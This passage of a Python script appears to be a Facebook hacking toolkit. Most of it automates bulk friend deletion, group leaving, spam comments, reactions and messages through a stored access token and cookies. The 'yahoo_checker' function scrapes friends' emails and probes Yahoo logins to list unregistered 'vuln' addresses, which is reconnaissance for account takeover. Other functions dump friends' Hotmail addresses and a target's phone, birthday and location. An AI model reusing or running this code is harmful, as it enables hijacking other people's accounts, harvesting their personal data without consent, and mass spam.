  824.         a=s.get(link,headers=hea).text
  825.         bs=BS(a,"html.parser")
  826.         for b in bs.find_all("a",string="Lainnya"):
  827.             if "Lainnya" in str(b):
  828.                 id.append(url.format(b.get("href")))
  829.                 print(f"\r[*] getting post id > {len(id)}  ",end="")
  830.                 sys.stdout.flush()
  831.         if "Lihat Berita Lain" in str(a):
  832.             mainGhide(url.format(bs.find("a",string="Lihat Berita Lain").get("href")))
  833.     except requests.exceptions.ConnectionError:
  834.         exit("\n[!] connection error")
  835.     input("\n[*] press enter to continue ")
  836.     print("[*] start ...\n")
  837.     m=ThreadPool(20)
  838.     m.map(mainhide,id)
  839.     exit("[*] done")
  840. def mainhide(user):
  841.     try:
  842.         data=[]
  843.         a=s.get(user).text
  844.         bs=BS(a,"html.parser")
  845.         for x in bs("form"):
  846.             if "post" in x["method"]:
  847.                 data.append(x["action"])
  848.         for x in bs("input"):
  849.             try:
  850.                 if "fb_dtsg" in x["name"]:
  851.                     data.append(x["value"])
  852.                 if "jazoest" in x["name"]:
  853.                     data.append(x["value"])
  854.                 if "HIDE_FROM_TIMELINE" in x["value"]:
  855.                     data.append(x["value"])
  856.                     break
  857.             except:pass
  858.         if len(data)==4:
  859.             b=s.post(url.format(data[0]),data={"fb_dtsg": data[1],"jazoest": data[2],"action_key": data[3]},headers=hea)
  860.             if b.status_code==200:
  861.                 success.append(user)
  862.         print(f"\r[-] {len(id)} hide post > {len(success)}  ",end="")
  863.         sys.stdout.flush()
  864.     except requests.exceptions.ConnectionError:
  865.         exit("\n[!] connection error")
  866.  
  867. def delete_albums():
  868.     print("[*] fetching all allbums id")
  869.     try:
  870.         for x in s.get(api.format("me?fields=albums.limit(5000)&access_token=%s"%(token)),headers=hea).json()["albums"]["data"]:
  871.             target.append(x["id"])
  872.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  873.             sys.stdout.flush()
  874.             sleep(0.009)
  875.     except KeyError:
  876.         exit("\n[!] failed to retrive all albums id")
  877.     except requests.exceptions.ConnectionError:
  878.         exit("\n[!] failed to retrive all albums id")
  879.         exit("[!] check your connection")
  880.     print("\n[*] all albums id successfully retrieved")
  881.     input("[*] press enter to continue ")
  882.     print("[*] start ...\n")
  883.     for id in target:
  884.         try:
  885.             name=s.get(api.format("%s?access_token=%s"%(id,token)),headers=hea).json()["name"]
  886.             b=s.post(api.format("%s?method=delete&access_token=%s"%(id,token)),headers=hea).json()
  887.             if b==True:
  888.                 print(f"[-] {name} - removed")
  889.             else:
  890.                 print(f"[-] {name} - failed")
  891.         except KeyError:
  892.             exit("\n[!] error:)*")
  893.         except requests.exceptions.ConnectionError:
  894.             exit("\n[!] connection error")
  895.     exit("\n[*] done")
  896.    
  897. def delete_friends_inactive():
  898.     print("[*] fetching all friends id")
  899.     try:
  900.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  901.             target.append(x["id"])
  902.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  903.             sys.stdout.flush()
  904.             sleep(0.003)
  905.     except KeyError:
  906.         exit("\n[!] failed to retrieve all friends id")
  907.     except requests.exceptions.ConnectionError:
  908.         print("\n[!] failed to retrive all friends id")
  909.         exit("[!] check your connection")
  910.     print("\n[*] all friends id successfully retrieved")
  911.     input("[*] press enter to continue ")
  912.     print("[*] start ...\n")
  913.     m=ThreadPool(20)
  914.     m.map(mainunfinac,target)
  915.     exit("\n[*] done")
  916. def mainunfinac(id):
  917.     try:
  918.             a=s.get(api.format("%s/feed?access_token=%s&limit=1"%(id,token)),headers=hea).json()["data"][0]["created_time"]
  919.             name=s.get(api.format("%s?access_token=%s"%(id,token)),headers=hea).json()["name"]
  920.             year=time.strftime("%Y")
  921.             date=a.split("-")[0]
  922.             if year in date:
  923.                 print(f"[-] {name} - ACTIVE - {date} - next")
  924.             elif not year in date:
  925.                 sleep(2)
  926.                 dl=s.delete(api.format("me/friends?uid=%s&access_token=%s"%(id,token)),headers=hea).json()
  927.                 if dl==True:
  928.                     print(f"[-] {name} - INACTIVE - {date} - removed")
  929.                 else:
  930.                     print(f"[-] {name} - INACTIVE - {date} - failed to remove")
  931.     except:pass
  932.  
  933. def delete_all_friends():
  934.     print("[*] fetching all friends id")
  935.     try:
  936.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  937.             target.append(x["id"])
  938.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  939.             sys.stdout.flush()
  940.             sleep(0.003)
  941.     except KeyError:
  942.         exit("\n[!] failed to retrieve all friends id")
  943.     except requests.exceptions.ConnectionError:
  944.         print("\n[!] failed to retrive all friends id")
  945.         exit("[!] check your connection")
  946.     print("\n[*] all friends id successfully retrieved")
  947.     input("[*] press enter to continue ")
  948.     print("[*] start ...\n")
  949.     for id in target:
  950.         try:
  951.             name=s.get(api.format("%s?access_token=%s"%(id,token)),headers=hea).json()["name"]
  952.             dl=s.delete(api.format("me/friends?uid=%s&access_token=%s"%(id,token)),headers=hea).json()
  953.             try:
  954.                 error=dl["error"]["message"]
  955.                 print(f"[-] {name} - failed")
  956.             except TypeError:
  957.                 print(f"[-] {name} - removed")
  958.         except KeyError:
  959.             exit("\n[!] error:)*")
  960.         except requests.exceptions.ConnectionError:
  961.             exit("\n[!] connection error")
  962.     exit("\n[*] done")
  963.  
  964. def unfollow():
  965.     print("[*] fetching all friends id")
  966.     try:
  967.         for x in s.get(api.format("me/subscribedto?limit=5000&access_token=%s"%(token)),headers=hea).json()["data"]:
  968.             target.append(x["id"])
  969.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  970.             sys.stdout.flush()
  971.             sleep(0.009)
  972.     except KeyError:
  973.         exit("\n[!] failed to retrieve all friends id")
  974.     except requests.exceptions.ConnectionError:
  975.         print("\n[!] failed to retrive all friends id")
  976.         exit("[!] check your connection")
  977.     print("\n[*] all friends id successfully retrieved")
  978.     input("[*] press enter to continue ")
  979.     print("[*] start ...\n")
  980.     for id in target:
  981.         try:
  982.             name=s.get(api.format("%s?access_token=%s"%(id,token)),headers=hea).json()["name"]
  983.             dl=s.post(api.format("%s/subscribers?method=delete&access_token=%s"%(id,token)),headers=hea).json()
  984.             try:
  985.                 error=dl["error"]["message"]
  986.                 print(f"[-] {name} - failed")
  987.             except TypeError:
  988.                 print(f"[-] {name} - unfollow")
  989.         except KeyError:
  990.             exit("\n[!] error:)*")
  991.         except requests.exceptions.ConnectionError:
  992.             exit("\n[!] connection error")
  993.     exit("\n[*] done")
  994.  
  995. def leave_groups():
  996.     print("[*] checking cookies")
  997.     try:
  998.         s.cookies=cookie("log/cookies.log")
  999.         s.cookies.load()
  1000.         a=s.get(url.format("/me"),headers=hea).text
  1001.         if "mbasic_logout_button" in str(a):
  1002.             print("[*] cookies valid")
  1003.             print("[*] fetching all groups id")
  1004.             try:
  1005.                 for x in s.get(api.format("me/groups?access_token=%s"%(token)),headers=hea).json()["data"]:
  1006.                     target.append(x["id"])
  1007.                     print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1008.                     sys.stdout.flush()
  1009.                     sleep(0.009)
  1010.             except KeyError:
  1011.                 exit("\n[!] failed to retrieve all groups id")
  1012.             except requests.exceptions.ConnectionError:
  1013.                 print("\n[!] failed to retrive all groups id")
  1014.                 exit("[!] check your connection")
  1015.             print("\n[*] all groups id successfully retrieved")
  1016.             input("[*] press enter to continue ")
  1017.             print("[*] start ...\n")
  1018.             mainLeave(target)
  1019.         else:
  1020.             os.system("rm -rf log")
  1021.             exit("[warning] cookies not valid")
  1022.     except requests.exceptions.ConnectionError:
  1023.         exit("[!] connection error")
  1024. def mainLeave(idg):
  1025.     for id in idg:
  1026.         try:
  1027.             data=[]
  1028.             a=s.get(url.format("/group/leave/?group_id=%s"%(id)),headers=hea).text
  1029.             bs=BS(a,"html.parser")
  1030.             if not "Keluar dari Grup" in str(bs):
  1031.                 print(f"[-] {id} - failed leave the groups")
  1032.             else:
  1033.                 for x in bs("form"):
  1034.                     if "/a/group/leave/?" in x["action"]:
  1035.                         data.append(x["action"])
  1036.                         break
  1037.                 for x in bs("input"):
  1038.                     try:
  1039.                         if "fb_dtsg" in x["name"]:
  1040.                             data.append(x["value"])
  1041.                         if "jazoest" in x["name"]:
  1042.                             data.append(x["value"])
  1043.                             break
  1044.                     except:pass
  1045.                 if len(data)==3:
  1046.                     b=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"group_id":id,"confirm":"Keluar dari Grup"},headers=hea).text
  1047.                     bs1=BS(b,"html.parser")
  1048.                     if "Gabung ke Grup" in str(bs1):
  1049.                         print(f"[-] {bs1.title.text} - success leave the groups")
  1050.                     else:
  1051.                         print(f"[-] {bs1.title.text} - failed leave the groups")
  1052.                 else:
  1053.                     print(f"[-] {id} - failed leave the groups")
  1054.         except requests.exceptions.ConnectionError:
  1055.             exit("[!] connection error")
  1056.        
  1057. def acc_del():
  1058.     global tipe,tipee,token
  1059.     try:
  1060.         token=open("log/token.log").read()
  1061.     except IOError:
  1062.         exit("[warning] access token not found")
  1063.     ac=input("[?] accept or delete? (a/d): ").lower()
  1064.     if ac in [""]:
  1065.         exit("[!] you stuppid")
  1066.     elif ac in ["a","accept"]:
  1067.         tipe="Konfirmasi"
  1068.         tipee="confirm"
  1069.         cek_ac()
  1070.     elif ac in ["d","delete"]:
  1071.         tipe="Hapus Permintaan"
  1072.         tipee="delete"
  1073.         cek_ac()
  1074.     else:
  1075.         exit("[!] you stuppid")
  1076. def cek_ac():
  1077.     global tipe,tipee,token
  1078.     print("[*] checking cookies")
  1079.     try:
  1080.         s.cookies=cookie("log/cookies.log")
  1081.         s.cookies.load()
  1082.         a=s.get(url.format("/me"),headers=hea).text
  1083.         if "mbasic_logout_button" in str(a):
  1084.             print("[*] cookies valid")
  1085.             print("[*] fetching all user id")
  1086.             main_ac(url.format("/friends/center/requests"))
  1087.         else:
  1088.             os.system("rm -rf log")
  1089.             exit("[warning] cookies not valid")
  1090.     except requests.exceptions.ConnectionError:
  1091.         exit("[!] connection error")
  1092. def main_ac(link):
  1093.     try:
  1094.         a=s.get(link,headers=hea).text
  1095.         bs=BS(a,"html.parser")
  1096.         for b in bs.find_all("a",string=tipe):
  1097.             try:
  1098.                 if "/a/notifications.php?" in str(b):
  1099.                     idt=re.findall(r"/?"+tipee+"=(.*?)&seenrequesttime=",b.get("href"))
  1100.                     target.append(url.format(b.get("href")))
  1101.                     print("\r[*] %s retrieved > %s  "%(idt[0],len(target)),end=""),
  1102.                     sys.stdout.flush()
  1103.                     sleep(0.009)
  1104.             except:pass
  1105.         if "Lihat selengkapnya" in str(a):
  1106.             main_ac(url.format(bs.find("a",string="Lihat selengkapnya").get("href")))
  1107.     except requests.exceptions.ConnectionError:
  1108.         print("\n[!] failed to retrieve all user id")
  1109.         exit("[!] check your onnection")
  1110.     print("\n[*] all user id successfully retrieved")
  1111.     input("[*] press enter to continue ")
  1112.     print("[*] start ...\n")
  1113.     for id in target:
  1114.         if tipe=="Konfirmasi":
  1115.             try:
  1116.                 idd=re.findall(r"/?confirm=(.*?)&seenrequesttime=",id)[0]
  1117.                 name=s.get(api.format("%s?access_token=%s"%(idd,token)),headers=hea).json()["name"]
  1118.                 d=s.get(id,headers=hea)
  1119.                 if d.status_code==200:
  1120.                     print(f"[-] {name} - accept")
  1121.                 else:
  1122.                     print(f"[-] {name} - failed")
  1123.             except KeyError:
  1124.                 exit("[!] error:)*")
  1125.             except IndexError:pass
  1126.             except requests.exceptions.ConnectionError:
  1127.                 exit("\n[!] connection error")
  1128.         elif tipe=="Hapus Permintaan":
  1129.             try:
  1130.                 idd=re.findall(r"/?delete=(.*?)&seenrequesttime=",id)[0]
  1131.                 name=s.get(api.format("%s?access_token=%s"%(idd,token)),headers=hea).json()["name"]
  1132.                 d=s.get(id,headers=hea)
  1133.                 if d.status_code==200:
  1134.                     print(f"[-] {name} - deleted")
  1135.                 else:
  1136.                     print(f"[-] {name} - failed")
  1137.             except KeyError:
  1138.                 exit("[!] error:)*")
  1139.             except IndexError:pass
  1140.             except requests.exceptions.ConnectionError:
  1141.                 exit("\n[!] connection error")
  1142.     exit("\n[*] done")
  1143.    
  1144. def my_groups():
  1145.     print()
  1146.     try:
  1147.         for x in s.get(api.format("me/groups?access_token=%s"%(token)),headers=hea).json()["data"]:
  1148.             name=x["name"]
  1149.             id=x["id"]
  1150.             print(f"[-] Name - {name}")
  1151.             print(f"[-] ID   - {id}\n")
  1152.     except KeyError:
  1153.         exit("\n[!] error:)*")
  1154.     except requests.exceptions.ConnectionError:
  1155.         exit("\n[!] connection error")
  1156.     input("\n[*] press enter to back ")
  1157.     menu()
  1158.  
  1159. def user_information():
  1160.     user=input("[?] user id: ")
  1161.     if user in [""]:
  1162.         exit("[!] you stuppid")
  1163.     try:
  1164.         a=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1165.         fol=s.get(api.format("%s/subscribers?access_token=%s"%(user,token)),headers=hea).json()["summary"]["total_count"]
  1166.         name=a["name"]
  1167.         id=a["id"]
  1168.     except KeyError:
  1169.         exit("[!] user id not found")
  1170.     except requests.exceptions.ConnectionError:
  1171.         exit("[!] connection error")
  1172.     print("[*] please wait a minute")
  1173.     sleep(2)
  1174.     friends=[]
  1175.     print("\n[#] RESULT")
  1176.     print(f"[-] name         : {name}")
  1177.     print(f"[-] id           : {id}")
  1178.     try:
  1179.         bir=a["birthday"]
  1180.         print(f"[-] birthday     : {bir}")
  1181.     except KeyError:
  1182.         print("[-] birthday     : not found")
  1183.     try:
  1184.         no=a["mobile_phone"]
  1185.         print(f"[-] numbers phone: {no}")
  1186.     except KeyError:
  1187.         print("[-] numbers phone: not found")
  1188.     try:
  1189.         no=a["email"]
  1190.         print(f"[-] email        : {name}")
  1191.     except KeyError:
  1192.         print(f"[-] email        : not found")
  1193.     print(f"[-] followers    : {str(fol)}")
  1194.     try:
  1195.         for fr in s.get(api.format("%s/friends?access_token=%s"%(user,token)),headers=hea).json()["data"]:
  1196.             friends.append(fr["id"])
  1197.         print(f"[-] total friends: {(len(friends))}")
  1198.     except KeyError:
  1199.         print("[-] total friends: not found")
  1200.     try:
  1201.         loc=a["location"]["name"]
  1202.         print(f"[-] location     : {loc}")
  1203.     except KeyError:
  1204.         print("[-] location     : not found")
  1205.     try:
  1206.         print("[-] school       : ")
  1207.         for z in a["education"]:
  1208.             sc=z["school"]["name"]
  1209.             print(f"      ~ {sc}")
  1210.     except KeyError:
  1211.         print("      ~ not found")
  1212.     input("\n[*] press enter to back ")
  1213.     menu()
  1214.  
  1215. def yahoo_checker():
  1216.     global o
  1217.     print("[*] fetching all friends id")
  1218.     try:
  1219.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  1220.             target.append(x["id"])
  1221.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1222.             sys.stdout.flush()
  1223.             sleep(0.003)
  1224.     except KeyError:
  1225.         exit("\n[!] failed to retrieve all friends id")
  1226.     except requests.exceptions.ConnectionError:
  1227.         print("\n[!] failed to retrieve all friends id")
  1228.         exit("[!] check your onnection")
  1229.     print("\n[*] all friends id successfully retrieved")
  1230.     print("[*] getting email from friends")
  1231.     print("[*] start ...\n")
  1232.     try:
  1233.         os.mkdir("yahoo")
  1234.     except:pass
  1235.     o=open("yahoo/mail_vuln.txt","w")
  1236.     for user in target:
  1237.         try:
  1238.             a=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1239.             b=s.get(api.format("%s/subscribers?access_token=%s"%(user,token)),headers=hea).json()
  1240.             id=a["id"]
  1241.             nam=a["name"]
  1242.             em=a["email"]
  1243.             sub=b["summary"]["total_count"]
  1244.             p=re.compile(r'@.*').search(em).group()
  1245.             if "yahoo.com" in (p):
  1246.                 br.open("https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com")
  1247.                 br._factory.is_html=True
  1248.                 br.select_form(nr=0)
  1249.                 br["username"]=em
  1250.                 log=br.submit().read()
  1251.                 if "messages.ERROR_INVALID_USERNAME" in str(log):
  1252.                     o.write("%s\n"%(em))
  1253.                     print(f"[•] Uid      : {id}")
  1254.                     print(f"[•] Name     : {nam}")
  1255.                     print(f"[•] Email    : {em}")
  1256.                     try:
  1257.                         bir=a["birthday"]
  1258.                         print(f"[•] Birthday : {bir}")
  1259.                     except KeyError:
  1260.                         print("[•] Birthday : not found")
  1261.                     print(f"[•] Followers: {sub}")
  1262.                     print("[•] Status   : vuln\n")
  1263.         except:pass
  1264.     print("\n[*] done")
  1265.     exit("[#] email vuln saved as: yahoo/mail_vuln.txt")
  1266.  
  1267. def get_hotmail():
  1268.     global wrt
  1269.     print("[*] fetching all friends id")
  1270.     try:
  1271.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  1272.             target.append(x["id"])
  1273.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1274.             sys.stdout.flush()
  1275.             sleep(0.003)
  1276.     except KeyError:
  1277.         exit("\n[!] failed to retrieve all friends id")
  1278.     except requests.exceptions.ConnectionError:
  1279.         print("\n[!] failed to retrieve all friends id")
  1280.         exit("[!] check your onnection")
  1281.     print("\n[*] all friends id successfully retrieved")
  1282.     print("[*] getting email hotmail from friends")
  1283.     print("[*] start ...\n")
  1284.     try:
  1285.         os.mkdir("dump")
  1286.     except:pass
  1287.     wrt=open("dump/friends_hotmail.txt","w")
  1288.     m=ThreadPool(30)
  1289.     m.map(gethot,target)
  1290.     wrt.close()
  1291.     print("\n[*] done")
  1292.     exit("[#] file saved as: dump/friends_hotmail.txt")
  1293. def gethot(user):
  1294.     try:
  1295.         a=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1296.         email=a["email"]
  1297.         name=a["name"]
  1298.         p=re.compile(r'@.*').search(email).group()
  1299.         if "hotmail.com" in str(p):
  1300.             wrt.write("%s\n"%(email))
  1301.             print(f"[-] {name} > {email}")
  1302.     except KeyError:pass
  1303.  
  1304. def auto_pokes():
  1305.     limit=input("[?] how many: ")
  1306.     if limit in [""]:
  1307.         exit("[!] you stuppid")
  1308.     print("[*] fetching all post id")
  1309.     try:
  1310.         for x in s.get(api.format("v3.0/me?fields=home.limit(%s)&access_token=%s"%(limit,token)),headers=hea).json()["home"]["data"]:
  1311.             target.append(x["id"])
  1312.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1313.             sys.stdout.flush()
  1314.             sleep(0.003)
  1315.     except KeyError:
  1316.         exit("\n[!] failed to retrieve all post id")
  1317.     except requests.exceptions.ConnectionError:
  1318.         print("\n[!] failed to retrieve all post id")
  1319.         exit("[!] check your onnection")
  1320.     print("\n[*] all post id successfully retrieved")
  1321.     print("[*] start ...\n")
  1322.     for user in target:
  1323.         try:
  1324.             a=s.post(api.format("%s/pokes?access_token=%s"%(user.split("_")[0],token)),headers=hea).json()
  1325.             name=s.get(api.format("%s?access_token=%s"%(user.split("_")[0],token)),headers=hea).json()["name"]
  1326.             try:
  1327.                 error=a["error"]["message"]
  1328.                 print(f"[-] {name} - failed to pokes")
  1329.             except TypeError:
  1330.                 print(f"[-] {name} - success pokes")
  1331.         except KeyError:
  1332.             exit("\n[!] Error:)*")
  1333.         except requests.exceptions.ConnectionError:
  1334.             exit("[!] connection error")
  1335.     exit("\n[*] done")
  1336.  
  1337. def pl():
  1338.     global tipe
  1339.     wt=input("[?] wallpost or target? (w/t): ").lower()
  1340.     if wt in [""]:
  1341.         exit("[!] you stuppid")
  1342.     elif wt in ["w","wallpost"]:
  1343.         main_reacW()
  1344.     elif wt in ["t","target"]:
  1345.         main_reacT()
  1346.     else:
  1347.         exit("[!] you stuppid")
  1348.    
  1349. def reactions():
  1350.     global tipe
  1351.     menu_reactions()
  1352.     CH=input("[+] auto/reactions_> ")
  1353.     if CH in [""]:
  1354.         exit("[!] you stuppid")
  1355.     elif CH in ["1","01"]:
  1356.         tipe="LIKE"
  1357.         pl()
  1358.     elif CH in ["2","02"]:
  1359.         tipe="LOVE"
  1360.         pl()
  1361.     elif CH in ["3","03"]:
  1362.         tipe="WOW"
  1363.         pl()
  1364.     elif CH in ["4","04"]:
  1365.         tipe="HAHA"
  1366.         pl()
  1367.     elif CH in ["5","05"]:
  1368.         tipe="SAD"
  1369.         pl()
  1370.     elif CH in ["6","06"]:
  1371.         tipe="ANGRY"
  1372.         pl()
  1373.     elif CH in ["0","00"]:
  1374.         menu()
  1375.     else:
  1376.         exit("[!] you stuppid")
  1377.  
  1378. def main_reacW():
  1379.     limit=input("[?] how many: ")
  1380.     if limit in [""]:
  1381.         exit("[!] you stuppid")
  1382.     print("[*] fetching all post id")
  1383.     try:
  1384.         for x in s.get(api.format("v3.0/me?fields=home.limit(%s)&access_token=%s"%(limit,token)),headers=hea).json()["home"]["data"]:
  1385.             target.append(x["id"])
  1386.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1387.             sys.stdout.flush()
  1388.             sleep(0.003)
  1389.     except KeyError:
  1390.         exit("\n[!] failed to retrieve all post id")
  1391.     except requests.exceptions.ConnectionError:
  1392.         print("\n[!] failed to retrieve all post id")
  1393.         exit("[!] check your onnection")
  1394.     print("\n[*] all post id successfully retrieved")
  1395.     print(f"[*] reactions type {tipe}")
  1396.     print("[*] start ...\n")
  1397.     for user in target:
  1398.         try:
  1399.             name=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1400.             rea=s.post(api.format("%s/reactions?type=%s&access_token=%s"%(user,tipe,token)),headers=hea).json()
  1401.             if "success" in str(rea):
  1402.                 try:
  1403.                     cap=name["message"][:40]+"..."
  1404.                     print(f"[-] {cap} - success reactions")
  1405.                 except KeyError:
  1406.                     try:
  1407.                         cap=name["story"][:40]+"..."
  1408.                         print(f"[-] {cap} - success reactions")
  1409.                     except KeyError:
  1410.                         print(f"[-] {user} - success reactions")
  1411.             else:
  1412.                 print(f"[-] {user} - failed to reactions")
  1413.         except requests.exceptions.ConnectionError:
  1414.             exit("\n[!] connection error")
  1415.     exit("\n[*] done")
  1416.  
  1417. def main_reacT():
  1418.     idt=input("[?] target id: ")
  1419.     limit=input("[?] how many: ")
  1420.     if limit in [""] and idt in [""]:
  1421.         exit("[!] you stuppid")
  1422.     print("[*] fetching all post id")
  1423.     try:
  1424.         for x in s.get(api.format("v3.0/%s?fields=feed.limit(%s)&access_token=%s"%(idt,limit,token)),headers=hea).json()["feed"]["data"]:
  1425.             target.append(x["id"])
  1426.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1427.             sys.stdout.flush()
  1428.             sleep(0.003)
  1429.             print(x["id"])
  1430.     except KeyError:
  1431.         exit("\n[!] failed to retrieve all post id")
  1432.     except requests.exceptions.ConnectionError:
  1433.         print("\n[!] failed to retrieve all post id")
  1434.         exit("[!] check your onnection")
  1435.     print("\n[*] all post id successfully retrieved")
  1436.     print(f"[*] reactions type {tipe}")
  1437.     print("[*] start ...\n")
  1438.     for user in target:
  1439.         try:
  1440.             name=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1441.             rea=s.post(api.format("%s/reactions?type=%s&access_token=%s"%(user,tipe,token)),headers=hea).json()
  1442.             if "success" in str(rea):
  1443.                 try:
  1444.                     cap=name["message"][:40]+"..."
  1445.                     print(f"[-] {cap} - success reactions")
  1446.                 except KeyError:
  1447.                     try:
  1448.                         cap=name["story"][:40]+"..."
  1449.                         print(f"[-] {cap} - success reactions")
  1450.                     except KeyError:
  1451.                         print(f"[-] {user} - success reactions")
  1452.             else:
  1453.                 print(f"[-] {user} - failed to reactions")
  1454.         except requests.exceptions.ConnectionError:
  1455.             exit("\n[!] connection error")
  1456.     exit("\n[*] done")
  1457.  
  1458. def auto_comment():
  1459.     wt=input("[?] wallpost or target? (w/t): ")
  1460.     if wt in [""]:
  1461.         exit("[!] you stuppid")
  1462.     elif wt in ["w","wallpost"]:
  1463.         comw()
  1464.     elif wt in ["t","target"]:
  1465.         comt()
  1466.     else:
  1467.         exit("[!] you stuppid")
  1468. def comw():
  1469.     limit=input("[?] how many: ")
  1470.     if limit in [""]:
  1471.         exit("[!] you stuppid")
  1472.     print("[*] fetching all post id")
  1473.     try:
  1474.         for x in s.get(api.format("v3.0/me?fields=home.limit(%s)&access_token=%s"%(limit,token)),headers=hea).json()["home"]["data"]:
  1475.             target.append(x["id"])
  1476.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1477.             sys.stdout.flush()
  1478.             sleep(0.003)
  1479.     except KeyError:
  1480.         exit("\n[!] failed to retrieve all post id")
  1481.     except requests.exceptions.ConnectionError:
  1482.         print("\n[!] failed to retrieve all post id")
  1483.         exit("[!] check your onnection")
  1484.     print("\n[*] all post id successfully retrieved")
  1485.     print("[!] type '<>' for newlines")
  1486.     msg=input("[?] message: ").replace("<>","\n")
  1487.     if msg in [""]:
  1488.         exit("[!] you stuppid")
  1489.     print("[*] start ...\n")
  1490.     for user in target:
  1491.         try:
  1492.             a=s.post(api.format("%s/comments?message=%s&access_token=%s"%(user,msg,token)),headers=hea)
  1493.             b=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1494.             try:
  1495.                 me=b["message"][:40]+"..."
  1496.                 print(f"[-] {me} - success commented")
  1497.             except KeyError:
  1498.                 try:
  1499.                     me=b["story"][:40]+"..."
  1500.                     print(f"[-] {me} - success commented")
  1501.                 except KeyError:
  1502.                     print(f"[-] {me} - success commented")
  1503.         except KeyError:
  1504.             exit("\n[*] Error:)*")
  1505.         except requests.exceptions.ConnectionError:
  1506.             exit("\n[!] connection error")
  1507.     exit("\n[*] done")
  1508.        
  1509. def comt():
  1510.     idt=input("[?] target id: ")
  1511.     limit=input("[?] how many: ")
  1512.     if idt in [""] and limit in [""]:
  1513.         exit("[!] you stuppid")
  1514.     print("[*] fetching all post id")
  1515.     try:
  1516.         for x in s.get(api.format("v3.0/%s?fields=feed.limit(%s)&access_token=%s"%(idt,limit,token)),headers=hea).json()["feed"]["data"]:
  1517.             target.append(x["id"])
  1518.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1519.             sys.stdout.flush()
  1520.             sleep(0.003)
  1521.     except KeyError:
  1522.         exit("\n[!] failed to retrieve all post id")
  1523.     except requests.exceptions.ConnectionError:
  1524.         print("\n[!] failed to retrieve all post id")
  1525.         exit("[!] check your onnection")
  1526.     print("\n[*] all post id successfully retrieved")
  1527.     print("[!] type '<>' for newlines")
  1528.     msg=input("[?] message: ").replace("<>","\n")
  1529.     if msg in [""]:
  1530.         exit("[!] you stuppid")
  1531.     print("[*] start ...\n")
  1532.     for user in target:
  1533.         try:
  1534.             a=s.post(api.format("%s/comments?message=%s&access_token=%s"%(user,msg,token)),headers=hea)
  1535.             b=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  1536.             try:
  1537.                 me=b["message"][:40]+"..."
  1538.                 print(f"[-] {me} - success commented")
  1539.             except KeyError:
  1540.                 try:
  1541.                     me=b["story"][:40]+"..."
  1542.                     print(f"[-] {me} - success commented")
  1543.                 except KeyError:
  1544.                     print(f"[-] {me} - success commented")
  1545.         except KeyError:
  1546.             exit("\n[*] Error:)*")
  1547.         except requests.exceptions.ConnectionError:
  1548.             exit("\n[!] connection error")
  1549.     exit("\n[*] done")
  1550.    
  1551. def auto_chat():
  1552.     menu_chat()
  1553.     pl=input("[+] auto/chat_> ")
  1554.     if pl in [""]:
  1555.         exit("[!] you stuppid")
  1556.     elif pl in ["1","01"]:
  1557.         cekcok()
  1558.     elif pl in ["2","02"]:
  1559.         maincatt()
  1560.     elif pl in ["0","00"]:
  1561.         menu()
  1562.     else:
  1563.         exit("[!] you stuppid")
  1564.        
  1565. def cekcok():
  1566.     print("[*] checking cookies")
  1567.     try:
  1568.         s.cookies=cookie("log/cookies.log")
  1569.         s.cookies.load()
  1570.         a=s.get(url.format("/me"),headers=hea).text
  1571.         if "mbasic_logout_button" in str(a):
  1572.             print("[*] cookies valid")
  1573.             maincatm()
  1574.         else:
  1575.             os.system("rm -rf log")
  1576.             exit("[warning] cookies not valid")
  1577.     except requests.exceptions.ConnectionError:
  1578.         exit("[!] connection error")
  1579.        
  1580. def cekcokk():
  1581.     print("[*] checking cookies")
  1582.     try:
  1583.         s.cookies=cookie("log/cookies.log")
  1584.         s.cookies.load()
  1585.         a=s.get(url.format("/me"),headers=hea).text
  1586.         if "mbasic_logout_button" in str(a):
  1587.             print("[*] cookies valid")
  1588.             maincatt()
  1589.         else:
  1590.             os.system("rm -rf log")
  1591.             exit("[warning] cookies not valid")
  1592.     except requests.exceptions.ConnectionError:
  1593.         exit("[!] connection error")
  1594.    
  1595. def maincatm():
  1596.     limit=input("[?] how many: ")
  1597.     if limit in [""]:
  1598.         exit("[!] you stuppid")
  1599.     print("[*] fetching all friends id")
  1600.     try:
  1601.         for x in s.get(api.format("me/friends?fields=name,id&limit=%s&access_token=%s"%(limit,token)),headers=hea).json()["data"]:
  1602.             target.append(x["id"])
  1603.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  1604.             sys.stdout.flush()
  1605.             sleep(0.009)
  1606.     except KeyError:
  1607.         exit("\n[!] failed to retrieve all friends id")
  1608.     except requests.exceptions.ConnectionError:
  1609.         print("\n[!] failed to retrieve all friends id")
  1610.         exit("[!] check your onnection")
  1611.     print("\n[*] all friends id successfully retrieved")
  1612.     print("[!] type '<>' for newlines")
  1613.     msg=input("[?] message: ").replace("<>","\n")
  1614.     if msg in [""]:
  1615.         exit("[!] you stuppid")
